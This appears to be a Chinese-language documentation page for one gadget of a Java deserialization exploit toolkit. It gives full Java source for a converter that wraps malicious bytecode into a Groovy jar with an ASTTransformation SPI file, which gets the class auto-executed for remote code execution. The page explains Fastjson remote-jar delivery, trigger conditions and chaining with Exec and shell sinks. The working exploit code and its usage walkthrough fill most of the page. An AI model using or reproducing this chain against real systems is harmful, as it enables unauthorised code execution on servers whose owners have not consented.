- 类别:common 别名:— 优先级:—
- 作者:—
- 依赖:
org.codehaus.groovy:groovy
一个字节码封装器:把内层 gadget 产出的 .class 字节码打包成一个 Groovy Jar 字节流,并在 jar 内写入 META-INF/services/org.codehaus.groovy.transform.ASTTransformation SPI 文件指向该类。当 Groovy 加载此 jar 时,会通过 SPI 自动实例化并执行该 ASTTransformation 类,实现 RCE。典型用于 Fastjson 远程加载 Groovy Jar 的场景。
- 入口
tags:Other—— 归入通用「其它转换器」族。 - 衔接
nextTags:BytecodeConvertTag—— 它需要一个产出字节码的内层 gadget(nextTags指向字节码转换环,如 BytecodeConvert 及其上游的Exec等字节码 sink)。 excludes:(空)。
@GadgetTags(tags={"Other"}, nextTags={"BytecodeConvertTag"})
@GadgetAnnotation(name="将字节码转为Groovy Jar包字节流",
description="适用于Fastjson远程加载Groovy Jar包 RCE场景\n会自动在jar包内创建 "
+ "META-INF/services/org.codehaus.groovy.transform.ASTTransformation 文件,"
+ "并将文件内容设置字节码类名",
dependencies={"org.codehaus.groovy:groovy"})
public class GroovyJarConvert implements Gadget {
public String className;
public byte[] getObject(byte[] bytes) throws Exception {
return GroovyJarConvert.createGroovyJarWithSPI(this.className, bytes);
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
context.put(ContextTag.Groovy_JAR_KEY, true);
byte[] bytecode = (byte[])chain.doCreate(context);
this.className = context.getString(ContextTag.CLASS_NAME_KEY);
byte[] jarContent = this.getObject(bytecode);
return jarContent;
}
public static byte[] createGroovyJarWithSPI(String className, byte[] byteCode) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
try (JarOutputStream jos = new JarOutputStream(baos);) {
JarEntry entry = new JarEntry(className.replace(".", "/") + ".class");
jos.putNextEntry(entry);
jos.write(byteCode);
jos.closeEntry();
entry = new JarEntry("META-INF/services/org.codehaus.groovy.transform.ASTTransformation");
jos.putNextEntry(entry);
jos.write(className.getBytes());
jos.closeEntry();
}
return baos.toByteArray();
}
}逐段说明:
invoke首先context.put(Groovy_JAR_KEY, true):向下游打标记,告知内层字节码 gadget「本次目标是 Groovy Jar SPI 场景」,内层据此需要生成一个实现ASTTransformation接口的恶意类。chain.doCreate(context)取内层对象——按链「由内向外」构建原则,内层是字节码转换环产物,即恶意类的.class字节数组(byte[] bytecode)。context.getString(CLASS_NAME_KEY)拿到该恶意类的全限定名className,随后交给createGroovyJarWithSPI打包。createGroovyJarWithSPI是核心:用JarOutputStream在内存中构造 jar——- 第一个
JarEntry是<className 转斜杠>.class,写入字节码本体; - 第二个
JarEntry是 SPI 描述文件META-INF/services/org.codehaus.groovy.transform.ASTTransformation,内容正是className。
- 第一个
- Groovy 编译器在初始化全局 AST 变换时会通过 Java SPI 扫描该 services 文件、加载并实例化其中列出的类。因此只要目标用 Groovy 加载这个 jar(例如把 jar URL 加进
GroovyClassLoader/GroovyScriptEngine类路径并触发编译),恶意ASTTransformation即被 SPI 自动执行。
触发条件:目标类路径含 groovy,且存在远程/本地加载 Groovy Jar 并触发编译的入口(典型是 Fastjson + 远程 jar)。
本类无 @Param。className 由链上下文 CLASS_NAME_KEY 注入(来自内层字节码 gadget 生成的类名),非用户直填。
- 依赖
org.codehaus.groovy:groovy;利用的是 Groovy 全局 AST 变换的 SPI 自动装载机制(META-INF/services/...ASTTransformation)。 - 与 GroovyExec1Convert/GroovyExec2Convert 走「表达式文本」不同,本 gadget 走「打包 .class 到 jar + SPI 触发」,因此它是一个字节码封装环而非表达式末端,必须搭配下游字节码 gadget。
- 输出是
byte[](jar 字节流),通常再交给远程加载/写文件等入口投递。
自由构件,未直接出现在预设链(usedInChains 为空)。常见手工组合:Fastjson 远程 Jar 入口 → GroovyJarConvert → 字节码转换环 → 字节码 sink(如 Exec)。
- 下游(
nextTags=BytecodeConvertTag):BytecodeConvert 及其内层字节码 sink(如Exec、各类 Echo/Shell gadget)。 - 上游消费者:远程加载 Groovy Jar 的入口(Fastjson 等)。